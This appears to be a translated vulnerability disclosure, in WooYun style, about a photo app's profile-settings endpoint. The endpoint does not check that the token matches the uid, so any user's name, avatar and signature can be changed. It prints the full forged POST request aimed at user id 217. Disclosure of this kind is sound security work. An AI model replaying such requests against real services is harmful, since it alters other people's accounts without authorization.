Note app any user data modification

Note app any user data modification

In the past two days, I have heard of tens of millions of users who are familiar with all kinds of pictures and movies in the app, and then I downloaded them.

The problem lies in modifying personal data.
 

Modify captured packets
 

Token does not verify various unauthorized operations



Test it with a user.
 

Capture packets to get the user id
 

Obtain the target user uid217.



Submit package modification

POST /api2/user%2Fuser_change_settings.php HTTP/1.1Content-Type: multipart/form-data; boundary=01f905f0-8933-45d5-8f64-eed54d9ee2b8Content-Length: 13069Host: fotoplace.ccConnection: Keep-AliveAccept-Encoding: gzipUser-Agent: okhttp/2.3.0--01f905f0-8933-45d5-8f64-eed54d9ee2b8Content-Disposition: form-data; name="version"Content-Type: text/plain; charset=UTF-8Content-Length: 3Content-Transfer-Encoding: binary2.3--01f905f0-8933-45d5-8f64-eed54d9ee2b8Content-Disposition: form-data; name="uid"Content-Type: text/plain; charset=UTF-8Content-Length: 7Content-Transfer-Encoding: binary217--01f905f0-8933-45d5-8f64-eed54d9ee2b8Content-Disposition: form-data; name="token"Content-Type: text/plain; charset=UTF-8Content-Length: 64Content-Transfer-Encoding: binary--01f905f0-8933-45d5-8f64-eed54d9ee2b8Content-Disposition: form-data; name="userName"Content-Type: text/plain; charset=UTF-8Content-Length: 7Content-Transfer-Encoding: binarytestwooyun--01f905f0-8933-45d5-8f64-eed54d9ee2b8Content-Disposition: form-data; name="location"Content-Type: text/plain; charset=UTF-8Content-Length: 3Content-Transfer-Encoding: binarytest by wooyun--01f905f0-8933-45d5-8f64-eed54d9ee2b8Content-Disposition: form-data; name="description"Content-Type: text/plain; charset=UTF-8Content-Length: 5Content-Transfer-Encoding: binarytest hahaha by wooyun--01f905f0-8933-45d5-8f64-eed54d9ee2b8

 

Return success
 

The target user information is successfully modified (including the Avatar user name signature)

Solution:

Various Verifications